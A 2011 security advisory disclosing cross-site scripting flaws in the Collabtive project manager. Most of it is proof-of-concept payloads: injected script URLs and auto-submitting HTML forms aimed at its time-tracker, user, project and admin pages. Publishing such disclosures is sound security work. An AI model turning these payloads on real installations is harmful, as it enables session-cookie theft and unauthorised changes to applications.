Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26024
HistoryMar 31, 2011 - 12:00 a.m.

HTB22906: XSS vulnerabilities in Collabtive

2011-03-3100:00:00
vulners.com
44

Vulnerability ID: HTB22906
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_collabtive.html
Product: Collabtive
Vendor: Open Dynamics ( http://collabtive.o-dyn.de/ )
Vulnerable Version: 0.6.5 and probably prior versions
Vendor Notification: 17 March 2011
Vulnerability Type: XSS
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "managetimetracker.php", "manageproject.php", "manageuser.php", "admin.php" scripts to properly sanitize user-supplied input in "id", "name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.

http://host/managetimetracker.php?action=editform&tid=1&id=1"><script>alert(document.cookie)</script>

http://host/manageuser.php?action=profile&id=1"><script>alert(document.cookie)</script>

<form action="http://host/manageproject.php?action=edit&amp;id=1&quot; method="post" name="main">
<input type="hidden" name="name" value='test"><script>alert(document.cookie)</script>'>
<input type="hidden" name="desc" value="Description">
<input type="hidden" name="end" value="16.03.2011">
</form>
<script>
document.main.submit();
</script>

<form action="http://host/admin.php?action=editsets&quot; method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="name" value='Collabtive"><script>alert(document.cookie)</script>'>
<input type="hidden" name="subtitle" value="Projectmanagement">
<input type="hidden" name="locale" value="en">
<input type="hidden" name="timezone" value="Europe/Zurich">
<input type="hidden" name="rssuser" value="">
<input type="hidden" name="rsspass" value="">
<input type="hidden" name="dateformat" value="d.m.Y">
<input type="hidden" name="template" value="standard">
</form>
<script>
document.main.submit();
</script>